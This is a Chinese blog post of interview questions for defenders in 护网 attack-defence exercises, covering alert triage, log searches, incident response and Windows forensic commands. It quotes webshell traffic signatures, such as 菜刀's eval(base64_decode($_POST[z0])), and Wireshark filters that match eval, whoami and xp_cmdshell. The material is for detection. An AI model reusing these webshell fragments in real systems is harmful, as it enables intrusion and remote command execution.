HW面经100问(含答案)

Posted by wx_x on 2022-07-07
Words 28.7k and Reading Time 107 Minutes
Viewed Times

HW面试八十六问(含答案)

一、常问问题

问一:用过哪些监控设备?(主要是天眼的操作)

奇安信的天眼、WAF 、蜜罐、绿盟态势感知、防火墙、IDS(入侵检测系统)、IPS(入侵防御系统),中睿的睿眼,他会自动匹配可能是攻击的数据包,然后通过数据包判断是否是攻击。

天眼的全称是奇安信新一代安全感知系统,它以攻防渗透和数据分析为核心竞争力,聚焦威胁检测和响应,为安全服务和分析人员提供一套在监测预警、威胁检测、溯源分析和响应处置上得心应手的威胁检测平台。

img

  • 天眼三大功能:

    传感器(对流量解析还原,发现网络攻击和 web 攻击能力)

    沙箱(发现恶意样本投递能力)

    分析平台(存储历史流量,分析威胁和溯源能力)

  • 天眼使用:

    天眼威胁感知: 警告类型:APT 攻击 威胁级别:高危 攻击结果:失陷 攻击次数:3

    天眼搜索:源 IP sip 目的 IP dip 地理信息:境内还是境外

    搜索示例:(sip:”192.168.1.1”)OR(dip:”192.168.1.1”)

    天眼类别:威胁感知调查分析 场景化分析

    日志检索:例子:search sip:”10.1.1.1/8” |tcp 100 dip 资产 报表 安全服务 系统管理

  • 天眼分析:

    爆破和踩点行为分析:

    登录爆破类:单个IP,使用多个用户名和密码组合进行登录尝试,导致短时间内大量登录失败
    目录和资源爆破:短时间内访问大量url,触发大量404
    手段:

    1.找到爆破行为IP,阻断爆破行为

    2.找到攻击成功的IP

    3.分析攻击IP的操作,编写事件报告

    ftp 爆破:

    1
    2
    日志检索使用天眼语法搜索爆破IP:normal_ret:failed AND proto:ftp
    判断爆破成功行为:normal_ret:success AND proto:ftp AND sip:(攻击ip1 OR 攻击ip2)

    ssh 爆破:

    1
    2
    日志检索使用天眼语法搜索爆破IP:normal_ret:failed AND proto:ssh
    判断爆破成功行为:normal_ret:success AND proto:ssh AND sip(攻击ip1 OR 攻击ip2)

    数据库爆破:

    1
    2
    normal_ret:failed AND proto:(oracle OR mysql OR mssql OR postgresql)
    normal_ret:success AND proto:(oracle OR mysql OR mssql OR postgresql) AND sip:(攻击IP1 OR 攻击IP2)

    远程桌面爆破:

    1
    2
    normal_ret:failed AND proto:rdp
    normal_ret:success AND proto:rdp AND sip:(攻击IP1 OR 攻击IP2)

    web 登录入口爆破:

    1
    对弱口令就行分析:uri:爆破路径 AND sip:攻击ip,查找爆破的流量日志

    目录和资源猜解:

    1
    根据域名和攻击ip进行分析:host:域名 AND sip:攻击IP,查询攻击IP的访问记录是否触发大量404响应
  • 天眼失陷事件处理:

    1、web攻击分析思路:
    web攻击:查看请求包 与 响应包(有没有报红,有没有攻击成功)
    查看告警详情(查看请求头、请求体内容,定位到告警攻击动作的payload)
    分析攻击动作是什么(读取文件、打印输出内容、写入文件和尝试下载文件,执行函数或命令 XSS XXE webshell等)
    分析响应(分析告警响应头,响应体,网络行为是否有动作预期的结果)

    发现 webshell 和主机木马: 确认创建时间、功能分析等,查看访问日志,攻击行为记录等,通知主机所属人 对发现的 webshell 文件或木马进行排查处置

问二:以往的HW工作都干些什么?

我所在的现场,根据甲方需求,分为 4 组:监控组、应急组、处置组、溯源反制组

1、监测组监测设备,整理报警信息,提交交处置单给防守应急组 ;

2、防守应急拿到处置单,进行排查,该组没有看机器的权限,只能和处置组建群沟通,根据处置单(期间要不停的去检测组设备上看详细信息),提出处置建议,让处置组来操作;

3、处置组,主要是甲方的业务人员,因为很多对应急的操作不是很熟悉,而且有些系统他们还需要找系统服务商进行操作,这就增加了沟通的成本;

4、溯源反制组,根据确定的攻击进行溯源和反制,前两天真实攻击较少所以一个处置单 ,基本消耗在不停的找人的路上,一个处置单最初只有建群的时候只有 3 个人,中间遇到不停的问题不停的加人入群,有负责 VPN 的、系统业务开发公司的、甲方维护的、系统管理的….就这样不停的加,直接一个处置单群,加了 20 多个人。

每天的服务器流量告警,只有一些寻常的弱口令异常流量和一些简单的 sql 注入,端口扫描事件,我们只需整改弱口令,封禁发起 sql 注入和端口扫描的 ip 即可

防守日常就是看流量、分析流量,其中大部分都为扫描器流量,由于一般扫描器都会部署在 VPS 上,因此我们可以结合流量监测平台反向扫描。

  • 第一步,安全感知平台查看事件预警,分析预警是否误报,

    误报,忽略;非误报,进行分析

  • 第二步,从安全按感知平台,安全设备,对攻击事件进行分析,

    不成功,封禁 IP;成功,开启应急响应排查流程

  • 第三步,应急响应,Webshell(网站失陷),

    排查 webshell,并且通过安全平台日志分析漏洞,进行下线或修补漏洞,服务器失陷,应急

问三:攻击类别识别方法有哪些?

1、识别攻击源 IP**

在护网期间,很多局点扫描探测类日志占所有攻击日志(IPS)的 90% 以上,此类日志主要来源于自研 / 开源全网扫描器、僵尸网络发起的自动化感染传播。

而在攻防演练实战中,攻击者通常采用搜索引擎对目标进行资产收集。在找到资产的网络区间后,细心的攻击方会对 C 段进行全端口扫描,通过连续的端口扫描日志或者 NMAP 指纹信息日志,通常能判定出攻击者针对性的网络探测行为,很可能是演练攻击方。

有的攻击方在探测目标时,会使用自研的扫描器进行主动扫描,或者通过代理转发至 XRay、W13SCA 扫描器进行被动扫描。这种扫描会在短时间内出现一个源 IP 对一个目标服务器大量的 SQL 注入、XSS 等常规的 WEB 漏洞等攻击日志,这种情况基本也能判定为攻击方行为。

这类扫描类日志,特点是日志量特别大,攻击源 IP 相对固定,攻击持续时间短或长或短,扫描产生的日志类型较多。值得注意的是,很多客户网络是部署有负载均衡和反向代理设备的,需要获取到日志的真实源 IP 才能进行针对性的防护,切忌直接封堵,以免影响业务。

2、手工试探类

在高水准的对抗和演练中,攻击方通常不会进行盲目的扫描。在找到目标资产后,他们会进行谨慎的手工尝试,这类尝试性的日志,很容易被大量的扫描日志所淹没。因此,对于某些提示攻击方意图的告警日志,也需要进行重点处理。

比如攻击方找到上传点,会进行手工上传测试,找到疑似 Struts2,ThinkPHP 框架的系统,会用开源工具或者带编码绕过的自研工具进行尝试,在登录框进行 SQL 手工尝试,或者用 Shiro 反序列化工具尝试等。这些攻击流量产生的日志数量极少,却不能被防守方轻易忽略,可以针对最近一年或近年爆出的漏洞、以及客户资产情况,进行有针对性的日志搜索,一旦发现,可以进行封堵或加固,同时顺藤摸瓜,或去态势感知等平台上进行上下文关联,进一步判断攻击是否成功、摸出攻击者意图。

问四、关注那些重点事件日志?

高级别的演练持续时间为两到三周,进入中后期,人倦马乏,很容易进入懈怠疏漏。其实,攻击方的比拼在演练中段已经进入焦灼状态,大比分在此时拉开。防守方也需要加强投入,在中后期更需要关注一些重点事件,及时发现包括 0day、新增外联、内网异常行为之类的风险。攻击方此时会亮出各家压箱底的武器,0day 的使用和针对防护设备的变形绕过都是常态,不排除现有的防护设备和系统暂时 “失明”,难以全面覆盖到攻击链的每一个点,这时,在日志中发现蛛丝马迹,找到关键重点事件就极有意义。这些重点事件类型包括:

1、异常属性类

考虑到攻方可能将扫描器和 C2 服务器部署在个人 VPS 上,而这些 VPS 极有可能是个人购买的云服务。在攻击日志分析时,对于 IP 归属地是国内外的云服务商的情况都需要加以关注。有的攻击方会在深夜乘防守方警惕性降低时进行攻击尝试,因此半夜出现的新增攻击日志源,也值得警惕。

攻击源 IP 的时间属性也有一定价值,如果某个源 IP 只在攻防演练开始之才出现日志,而之前并未出现过攻击行为,很可能来自于演练攻击方。单纯从攻击日志的各类属性特点来分析日志,也能起到一定作用,当然以上方法结合分析,效果更好。

NOD(Newly Observed Domain),域名也是可疑的观察对象之一。在演练前突然新增的域名,极有可能是攻击方为活动前做的准备。对于这类 NOD 域名可以提前分析获取,加入关注名单。一旦产生类似的外联日志,哪怕原有的情报和态势系统没有告警,也建议马上行动,展开失陷资产排查,并向前溯源,最大程度的还原攻击路径。

2、木马连接类

Webshell 连接工具,包括老式的大马,小马,菜刀,及各类新式的冰蝎,哥斯拉,天蝎,内存马等,特点是倾向于加密的通信,让传统检测设备无法发现行踪。在防守方的日常检测中,一旦发现木马远控连接工具,包括 Cobalt Strike 的命令下发流量(HTTP 协议)和证书指纹规则(HTTPS 协议),MSF 自带木马 Meterpreter 及各类开源远控等的痕迹,以及这些工具通信流量产生的日志都需要警醒,这预示着内网已有机器失陷。部分工具的加密流量通信单纯靠某条规则无法检测,可能需要多模块综合研判以及 AI 分析模块协助处理。所以除了攻击日志,还需要将 AV、情报、AI 研判模块产生的日志一并纳入检测分析范围。

3、代理隧道类

在获取权限后,攻击方通常会使用代理工具搭建隧道进入内网,以获得稳定的控制权限。一旦出现代理隧道的日志,也说明形势较为危急,预示着攻击方可能已经打入内网。这些代理类日志包括 SOCKS 的反向代理(Earthworm、FRP、dtunnel_lite 等)、Reduh、Regeorg 等各类 web 代理隧道。传统设备如 IPS 的先验规则只能检测到明文代理流量,新华三安全设备特意基于代理隧道进行了专项覆盖,对于以上代理可以最大程度的识别,加密的隧道,可以在协商阶段尽早识别。

4、横向扫描类

利用代理隧道进入内网的攻击方,可能通过 Ladon 等工具进行网段、端口、服务的探测,以及使用爆破,撞库的方式进行内网密码破解。因此由内网 IP 发起的扫描探测日志如果被部署在内网的安全设备检测上报,那么这些日志也是非常值得关注的。

这几类重点事件的日志,一般表明有系统被攻陷,因此这些规则需要在演练之前保持开启状态,且演练期间关注级别很高,即使出现的日志条数只有一条,也要优先介入分析。这也对防守方攻防基础提出了一定的要求,初级防守方人员可以联动后台攻防实验室进行有效协同,中高级守方人员可以在实战中进行攻击负载和技战法的总结,形成经验智库。

5、补充

现场分析人员若对某条攻击日志的具体含义持疑,无法判定攻击源 IP 是否恶意时,可以结合该源 IP 和该事件的其他相关日志进行辅助分析,通过绘制力导向图,来判断该 IP 的攻击意图。

  • OA:(重点)泛微,致远,金蝶,蓝凌,万户,金和或者自研发系统 OA,财务系统
  • ERP:(重点)Microsoft Dynamics GP,Oracle JD Edwards EnterpriseOne,金蝶 - U9,用友 - K/3, 神舟数码 - 易助,SAP ERP,Infor M3
  • 重要信息节点:email,exchange,office 365,DC2012R2,DC2008 R2
  • web 中间件:IIS/apache/tomcat/weblogic/jboss/websphere/Nginx/FastCGI/PHPCGI/haproxy

问五:有什么办法判断误报?

时间线拉长,看看类似的请求或者数据包在之前很长一段时间有无出现。如果不是特别有规律的参数,如 md5 这类,一般是业务误报。如果是一些类似于文件操作或者命令执行的参数,很有可能就是攻击数据包。实在不确定就去问客户。

处置单大致分为 4 类,

1、业务系统之间的调用请求,设备报警,内网渗透向;

2、业务公司人员上生产系统上的 poc 测试(直接执行注入和远程读取命令),被系统误报成渗透攻击(这一条应该不算是误报,毕竟有攻击行为,只不过是自己人干的);

3、centos 系统自动更新系统文件,设备报警,未经授权的访问外网;

4、业务人员配置中间件,设备报警;

问六:你有那些SQL 查询异常流量分析的思路?

1、数据库短时间内查询增多有可能遭遇到了【扫描】或者【sql 注入测试】,可以结合流量分析工具进行研判

2、【select】 和【union】为数据库查询语句特征,当这两者数量出现次数较多而且差异较小可能存在 SOL 注入漏洞或正在被扫描器扫描,可监控这两个关键字,但还需 要进一步查看具体请求参数。

如:

(1) 使用 wireshark 打开抓取后的流量包

(2) 对于抓取到的数据包筛选出 HTTP 协议包,在统计处筛选出短时间内流量较大的 IP

(3)尝试定位一些基本的注入特征(select、union、()、/*、sleep 等)

问七:讲一下常见工具的流量特征

  • 菜刀流量特征 (最开始是明文传输,后来采用 base64 加密)
1
2
3
4
5
6
7
8
9
10
11
PHP类WebShell链接流量
第一:“eval”,eval函数用于执行传递的攻击payload,这是必不可少的;
第二:(base64_decode($_POST[z0])),(base64_decode($_POST[z0]))将攻击payload进行Base64解码,
因为菜刀默认是使用Base64编码,以避免被检测;
第三:&z0=QGluaV9zZXQ...,该部分是传递攻击payload,此参数z0对应$_POST[z0]接收到的数据,该参数值是
使用Base64编码的,所以可以利用base64解码可以看到攻击明文。

注:
1.有少数时候eval方法会被assert方法替代。
2.\$_POST也会被\$_GET$_REQUEST替代。
3.z0是菜刀默认的参数,这个地方也有可能被修改为其他参数名。
  • 蚁剑(PHP 用 base64 加密)

PHP 类 WebShell 链接流量

1
2
3
4
5
6
7
将蚁剑的正文内容进行URL解码后,流量最中明显的特征为@ini_set("display_errors","0");
这段代码基本是所有WebShell客户端链接PHP类WebShell都有的一种代码,但是有的客户端会将这段编码或者加密,
而蚁剑是明文,所以较好发现,同时蚁剑也有eval这种明显的特征。
蚁剑绕过特征流量
由于蚁剑中包含了很多加密、绕过插件,所以导致很多流量被加密后无法识别,但是蚁剑混淆加密后还有一个比较明显
的特征,即为参数名大多以“_0x.....=”这种形式(下划线可替换为其他)所以,以_0x开头的参数名,
后面为加密数据的数据包也可识别为蚁剑的流量特征。
  • 冰蝎(AES 对称加密):

通过 HTTP 请求特征检测

1、冰蝎数据包总是伴随着大量的 content-type:application 什么什么,无论 GET 还是 POST,请求的 http 中,content-type 为 application/octet-stream;

2、冰蝎 3.0 内置的默认内置 16 个 ua(user-agent)头

3、content-length 请求长度,对于上传文件,命令执行来讲,加密的参数不定长。但是对于密钥交互,获取基本信息来讲,payload 都为定长

  • 哥斯拉(base64 加密):

特征检测

1、发送一段固定代码(payload),http 响应为空

2、发送一段固定代码(test),执行结果为固定内容

3、发送一段固定代码(getBacisInfo)

相同:都是用来连接 Web shell 的工具 不相同:相比于其他三款,冰蝎有流量动态加密。

问八:你知道那些wireshark 简单的过滤规则?

1
2
3
4
【过滤ip】:过滤源ip地址:ip.src1.1.1.1;目的ip地址:ip.dst1.1.1.1;
【过滤端口】:过滤80端口:tcp.port80,源端口:tcp.srcport80,目的端口:tcp.dstport==80
【协议过滤】:直接输入协议名即可,如http协议http
【http模式过滤】:过滤get/post包http.request.mothod=="GET/POST"

问九:你有那些流量分析溯源的思路?

假设发现 web 应用服务器发现文件异常增多,初步怀疑被上传 webshell,描述流量分析溯源的思路

可利用流量工具进行溯源:

1、查看 eval、z0、shell、whoami 等关键字,查看出现次数过多的时候,可能 需要查看是哪个页面发起的请求,有可能是 webshell

2、通过 WireShark 工具快速搜索关键字,定位到异常流量包

3、找出异常 IP 和所上传的内容,查看是否为 webshell

问十:如何定位到攻击 IP?

1、 首先通过选择 - 统计 - 对话查看流量的走向情况,定位可疑的 IP 地址

2、 根据定位到的 IP 地址,尝试对上传的 webshell 进行定位 ip.addr ==ip &&http matches “uploadleval|select|xp_cmdshell”&& http.request.method == “POST”

3、 查找到 Webshell 后尝试溯源漏洞位置,http.request.uri contains“webshell.php”,定位到最开始 webshell 执行或上传的时候

4、 根据最开始的 HTTP 上传包或者其他漏洞特产定位漏洞类型

问十一:常见取证分析工具有哪些?

wireshark

xplico

volatility

fastlr collector

autopsy

dumolt

ftk lmager

foremost

scalpel

bulik_exetractor

问十一:怎么看日志?

img

1、 特征字符分析 顾名思义,就是根据攻击者利用的漏洞特征,进行判断攻击者使用的是哪一种攻击。SQL 注入、XSS 跨站脚本攻击、恶意文件上传、一句话木马连接等

2、 访问频率分析 不难理解,就是通过查看攻击者访问的频率来判断攻击者使用的是哪一种攻击,SQL 盲注、敏感目录爆破、账号爆破、Web 扫描。

问十二:日志的关注点有那些?

1、异常时间段登录

比如半夜一两点三四点,有事件 ID4624 产生,服务器有异常登录,开启下列排查,并修改远程桌面密码,尝试溯源。

2、系统安全日志,针对服务器。

3、windows 安全日志(系统安全日志的一种),

4、关于远程桌面登录的记录

成功和失败事件类型和 ID

远程登录成功,和管理员确定是非管理员操作,基本判定是失陷

远程登录不成功,需要检查谁在登录,如何去禁止登录

(1)内网,检查谁在登录,并且定位 IP 进行排查(内网已经失陷)

(2)外网,封禁 IP 或关闭远程服务。

问十三:windos有那些敏感关键目录?

Web 应用根目录、文件上传目录

C:\Users\Administrator\Downloads

/var/tmp tomcat-users.xml /var/spool/cron/ /etc/crontab

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

C:\Windows\System32\Tasks\ C:\Windows\SysWOW64\Tasks\ C:\Windows\tasks\

问十四:怎么做攻击研判的?

网络安全中的攻击研判,可以理解为人工层面对攻击事件进行再分析的行为。

一般来说,对攻击事件的分析研判通常从以下 4 个维度进行:

  1. 对已发现攻击的来源进行研判;
  2. 综合分析攻击技术、工具和路径,判断其威胁性大小;
  3. 攻击意图研判;
  4. 处置方式判断。

攻击研判,可以看作安全防护流程最为关键的一环。它上承安全告警的分析,下接安全处置的实施,是安全防护过程中技术含量最高的一步。

  • 攻击研判的 6 个步骤

攻击研判属于安全事件响应的一部分,为了更好地了解攻击研判在整个事件响应过程中的作用,我们可以把列出包括攻击研判在内的事件响应全流程,其中蓝色部分属于攻击研判的流程部分。

image-20220628184449127

1. 攻击告警真实性研判

在接到告警研判服务请求后,通过内置的研判溯源模型并结合实际环境,快速分析告警主机的进程和操作审计事件,确认告警的真假以及攻击者还做了其他哪些操作,明确告警主机是不是已被入侵,进行系统性的梳理并给出详细的研判分析报告。

在系统发出警报后好做出响应的处置以前,需要对警报进行确认,是误报,还是真的有告警事件发生?如果告警是真实的,那么攻击者是正在试图入侵的过程中,还是已经成功入侵?只有确认告警事件为攻击者已经成功入侵后,才会启动响应处置。

告警研判的结果和对应措施也可以用下表直观地展示出来:

img

2. 攻击事件调查

一旦确定了告警的真实性,要通过主机、流量侧的日志以及系统告警等信息,对攻击事件进行调查。并根据攻击行为特征建立一套通用的方法论,生成《XXX 事件调查报告》。根据这套方法论在自己的安全设备中添加检测规则,以便在下次面对相同攻击的时候快速做出响应。

在这个过程中,请参阅以下关键问题以全面了解攻击事件:

・最初的攻击媒介是什么? (即,攻击方如何获得对网络的初始访问权限?)

・攻击方如何访问环境?

・攻击方是否利用漏洞来获得访问权或特权?

・攻击方如何维持指挥和控制?

・攻击方在网络或设备上是否有持久性?

・持久性的方法是什么(例如,恶意软件后门、webshell、合法凭证、远程工具等)?

・哪些帐户已被盗用,这些账户是什么权限级别(例如,域管理员、本地管理员、用户帐户等)?

・使用什么方法进行侦察?

・是否发生横向移动? 如何进行横向移动(例如,RDP、网络共享、恶意软件等)?

・数据是否被泄露,如果有,是什么类型的,通过什么机制?

3. 失陷范围排查

安全事件发生时,对于横向移动主机,首先会根据现有信息找出一台确认失陷的主机,然后以这台失陷主机的数据以及它的互联关系为线索,在用户系统中展开内网溯源,确认是否存在被横向渗透的主机,并循环此过程逐步找出所有失陷主机,确认攻击影响面及具体的失陷范围。

img

4. 攻击过程还原

攻击溯源是事件响应的关键,也是安全能力提升的关键。通过对被攻击资产的分析与溯源,还原攻击路径与攻击手法,用户不仅能够有效提升攻防演练效果,还可增强常态化安全防御能力,将攻击事件转换为防御势能,避免二次攻击事件的发生。

5. 防守方成果报告整理

在攻防演练中,防守方在完成攻击确认到调查、还原的整个流程之后,需要整理出一份防守报告,阐述攻击的真实性、攻击的覆盖范围、攻击者的攻击路径及行为。并将报告提交给组织方,即可得分。

6. 攻击清除处置建议

最后,根据对攻击者所用技术和攻击路径的反向梳理结果,安全团队要综合分析对方的攻击动机和意图,以及用户自身的防护水平及目的,给出合理的处置建议。

以上 6 个步骤是在攻防演练或日常防护中所要实施的攻击研判流程,不同企业的攻击研判服务都大致如此。但虽然流程基本一致,不同企业组织的攻击研判质量却参差不齐,究其原因,在于研判模式的区别。

问十五:去年爆出了哪些漏洞?

1657005291550

漏洞汇总地址:https://www.hedysx.com/2756.html

问十六:去年有哪些已证实的漏洞

漏洞编号:B-T-V-0052 漏洞名称:金蝶天燕 v9.0 版本消息中间件 getshell 涉及厂商:金蝶 漏洞等级:高危 是否公开:否 是否有 POC:是 首次发现时间:2021 年 4 月 10 日 情报来源:互联网

防护建议: 奇安信天眼 规则 ID:0x10020D4C 版本号:3.0.0411.12748 奇安信安域 Web 应用防护系统 规则 ID:181260001 版本号:20210411003 奇安信网神网络数据传感器 规则 ID:6366 版本号:2104111822 奇安信网神智慧防火墙 规则 id:1240701 版本号:2104112000 及以上版本 奇安信网神云锁服务器安全管理系统 RASP 版本:2.0.18 Agent 版本号:V8.0.2.112

漏洞编号:B-T-V-0058 漏洞名称:蓝凌 oa 高版本 前台未授权 getshell 涉及厂商:蓝凌 漏洞等级:高危 是否公开:否 是否有 POC:是 首次发现时间:2021 年 4 月 11 日 情报来源:互联网

防护建议: 奇安信天眼 规则 id:0x10020D42 版本号:3.0.0411.12748 奇安信安域 Web 应用防护系统 规则 ID:181230002 版本号:20210411002 奇安信网神网络数据传感器 规则 ID:6357 版本号:2104111822 奇安信网神智慧防火墙 规则 id:1240601 版本号:2104112000 及以上版本 虚拟化安全管理平台 windows 版 规则 id:2923983 版本号:2021.04.14 虚拟化安全管理平台 linux 版 规则 id:313826 版本号:2021.04.14 奇安信网神智慧防火墙 规则 id:1238801 版本号:2104112000 及以上版本 奇安信网神统一服务器安全管理平台 规则 Id:63823983 版本号:10352

二、应急、溯源和反制

问十七:简述一下应急响应的流程?

准备 - 检测 - 抑制 - 根除 - 恢复 - 书写报告

1、准备工作,收集信息:收集告警信息、客户反馈信息、设备主机信息等。

2、检测,判断类型:安全事件类型的判断(钓鱼邮件,webshell,爆破,中毒等)

3、抑制,控制范围,隔离失陷设备

4、根除,分析研判,将收集的信息分析

5、恢复,处置事件类型(进程、文件、邮件、启动项,注册表等)

6、输出报告

  • 第一步,安全感知平台查看事件预警,分析预警是否误报

    误报,忽略;非误报,进行分析

  • 第二步,从安全按感知平台,安全设备,对攻击事件进行分析

    不成功,封禁 IP;成功,开启应急响应排查流程

  • 第三步,应急响应

    被上传 shell、网页被篡改、网页被加黑链:

    1
    2
    3
    4
    5
    1、D盾扫找到最早shell,记录上传时间,备份shell并删除
    2、根据该shell在各类日志中找到恶意ip,并过滤出该ip的所有日志
    3、根据webshell生成时间找到该时间点的POST日志确认webshell生成方法
    4、继续向上溯源分析IP攻击路径以及可能利用的漏洞,重点关注POST日志,以及存在如upload、editor、admin、manage、sql等敏感字段的日志,同时分析网站用到的中间件或者框架,分析其中可能的漏洞
    5、修复攻击者使用的漏洞,
  • 第四步,开始系统排查

  1. 启动项

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

启动项的文件夹,排查是否有可疑的程序。

  1. 计划任务

C:\Windows\System32\Tasks\

C:\Windows\SysWOW64\Tasks\

C:\Windows\tasks\

排查是否有恶意计划任务自动运行。

  1. 系统用户

排查是否有多余的可疑账户,问题:2. 了解隐藏账户

img

难免会碰到一些应急场景,这里推荐 GitHub 上一个大佬的应急工具箱,整合了诸多的分析文章和常见工具,应急工具箱:[https://github.com/No-Github/1earn/blob/master/1earn/Security/BlueTeam/%E5%BA%94%E6%80%A5.md]

问十八:入侵排查基本流程是什么?

宏观思路

  1. 收集信息:收集客户信息和中毒主机信息,包括样本
  2. 判断类型:判断是否是安全事件,何种安全事件,勒索、挖矿、断网、DoS 等等
  3. 抑制范围:隔离使受害⾯不继续扩⼤
  4. 深入分析:日志分析、进程分析、启动项分析、样本分析方便后期溯源
  5. 清理处置:杀掉进程,删除文件,打补丁,删除异常系统服务,清除后门账号防止事件扩大,处理完毕后恢复生产
  6. 产出报告:整理并输出完整的安全事件报告

问十九:Winodws 系统应急排查思路?

系统信息、系统帐号、注册表、账户信息、系统会话、检查日志、网卡信息

  • 系统信息

    • 查看系统版本以及补丁信息:systeminfo

    • 查看可疑目录及 (隐藏) 文件:

      1
      2
      Window 2003`:`C:\Documents and Settings
      Window 20008R2:C:\Users\
  • 查看最近运行的文件:

    cmd 运行 %UserProfile%\Recent

    Recent 是系统文件夹,里面存放了最近使用的文档的快捷方式。

  • 查看可以文件的日期和文件信息

系统帐号

查看所有帐号方法:

  • 打开本地用户和组

    1
    2
    3
    compmgmt.msc

    lusrmgr.msc

使用命令行

1
2
3
net user 
wmic useraccount
wmic useraccount list brief

查看注册表

1
2
regedit
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names

显示某个用户账户信息

1
net user [SOMEONE]
  • 系统会话

    • 查看当前系统会话:query user
    • 下线用户:logoff [id]
  • 检查日志

    结合日志,查看管理员登陆操作,用户异常操作:eventvwr.msc,保存日志使用 LogParser 进行分析。

  • 网卡信息

    • 列出所有网络驱动程序列表:wmic nicconfig list

    • 列出所有 IP 接口列表:wmic nicconfig where IPEnabled='true'

    • 更新静态 IP:wmic nicconfig where index=9 call enablestatic("192.168.123.66"), ("255.255.255.0")

    • 更新网关:wmic nicconfig where index=9 call setgateways("192.168.123.4"), ("255.255.255.0"),(1,2)

    • DHCP 设置

      1
      2
      3
      4
      5
      6
      #启动
      wmic nicconfig where index=9 call enabledhcp
      #设置DHCP状态
      wmic service where caption="DHCP Client" call changestartmode "Disabled"
      wmic service where caption="DHCP Client" call changestartmode "Automatic"
      wmic service where caption="DHCP Client" call changestartmode "Manual"

进程和端口相关

进程、端口、程序位置、程序命令行参数

  • 进程

    可以使用任务管理器查看进程

    • 方法一:开始 —> 运行 —> msinfo32 —> 软件环境 —> 正在运行任务

      (能查看进程的详细信息) 查看端口对应的 PID:netstat -ano | findstr "[PORT]"

    • 方法二:命令行查看进程

      1
      2
      3
      4
      wmic process
      wmic process list brief
      wmic process list full
      wmic process list system
  • 以 xml 格式存储:wmic /record:processes.xml process list full

端口

  • 查看端口:netstat -ano

    查看网络连接:netstat -ano | find ESTABLISHED

    | 状态 | 说明 |
    | —————- | ——————————————————— |
    | Listen | 监听状态 |
    | ESTABLISHED | 建立连接 |
    | CLOSE_WAIT | 对方主动关闭连接或网络异常导致连接中断 |

  • 根据显示的 PID 定位程序:tasklist | findstr [PID]

    查看 Windows 服务对应的端口:%system%/system32/drivers/etc/services(一般 % system% 就是 C:\Windows)。

程序位置

  • 查看进程对应的程序位置

    任务管理器 —> 选择对应进程 —> 右键打开文件位置

    运行输入 wmicprocess

  • 根据进程 PID 查找具体启动的程序

    1
    2
    tasklist
    wmic process get name,executablepath,processid | findstr pid

程序命令行参数

1
wmic process get caption,commandline /value

查询某一进程的命令行参数:

1
wmic process where caption="svchost.exe" get caption,commandline /value

服务和计划任务

启动项检查、服务检查

  • 启动项检查

    • 查看启动项:msconfig

    • 查看注册表启动项:

    • 运行 —> regedit —> 打开注册表,查看开机启动项是否正常,三个特别的注册表

      1
      2
      3
      HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run 
      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
      HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce

组策略下查看启动项:

运行 —> gpedit.msc(组策略) —> 计算机配置 —> Windows 设置 —> 脚本(启动 / 关机) —> 启动 —> 属性

命令行 wmic 查看启动列表:

1
2
3
4
wmic startup
wmic startup list full
wmic startup list brief
wmic startup list system
  • 服务检查
    • 检查服务自启动:services.msc`
    • 查询正在运行的服务:sc query type=service
    • 查询存在但是没运行的服务:sc query type=service state=inactive
    • 查询所有服务:sc query type=service state=all

日志分析、审核策略

日志分类、审核策略、日志分析工具

  • 日志分类

    • 系统日志

      记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由 Windows NT/2000 操作系统预先定义。

      默认位置:%SystemRoot%\System32\Winevt\Logs\System.evtx

      • 查看方法:

        1. 开始 —> 所有程序 —> 管理工具 —> 事件查看器
        2. 运行 —> eventvwr.msc
      • Windows 事件日志分析,不同的 EVENT ID 代表了不同的意义。

        | 事件 ID | 说明 |
        | ———- | ———————————————— |
        | 4624 | 登录成功 |
        | 4625 | 登录失败 |
        | 4634 | 注销成功 |
        | 4647 | 用户启动的注销 |
        | 4672 | 使用超级用户(如管理员)进行登录 |
        | 4720 | 创建用户 |

        每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

        | 登录类型 | 描述 | 说明 |
        | ———— | ———————————————- | ———————————————————————— |
        | 2 | 交互式登录(Interactive) | 用户在本地进行登录。 |
        | 3 | 网络(Network) | 最常见的情况就是连接到共享文件夹或共享打印机时。 |
        | 4 | 批处理(Batch) | 通常表明某计划任务启动。 |
        | 5 | 服务(Service) | 每种服务都被配置在某个特定的用户账号下运行。 |
        | 7 | 解锁(Unlock) | 屏保解锁。 |
        | 8 | 网络明文(NetworkCleartext) | 登录的密码在网络上是通过明文传输的,如 FTP。 |
        | 9 | 新凭证(NewCredentials) | 使用带 / Netonly 参数的 RUNAS 命令运行一个程序。 |
        | 10 | 远程交互,(RemoteInteractive) | 通过终端服务、远程桌面或远程协助访问计算机。 |
        | 11 | 缓存交互(CachedInteractive) | 以一个域用户登录而又没有域控制器可用 |

    • 安全日志

      记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或者在注册表中设置审核策略,以便当安全性日志满后使系统停止响应。

      默认位置:%SystemRoot%\System32\Winevt\Logs\Security.evtx

    • 应用程序日志

      包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。

      默认位置:%SystemRoot%\System32\Winevt\Logs\Application.evtx

  • 审核策略

    审核策略开启后可以查看系统出现故障、安全事故等系统日志文件,帮助排除故障,追查入侵者的信息等。

    • 开启审核策略

      开始 —> 管理工具 —> 本地安全策略 —> 本地策略 —> 审核策略 配置

      1
      2
      3
      4
      5
      6
      7
      8
      9
      审核账户管理|||成功,失败
      审核账户登录事件||成功,失败
      审核系统事件||||成功,失败
      审核特权使用|||失败
      审核目录服务访问||失败
      审核进程跟踪|||成功,失败
      审核对象访问|||失败
      审核登录事件|||成功,失败
      审核策略更改|||成功,失败
  • 配置日志属性

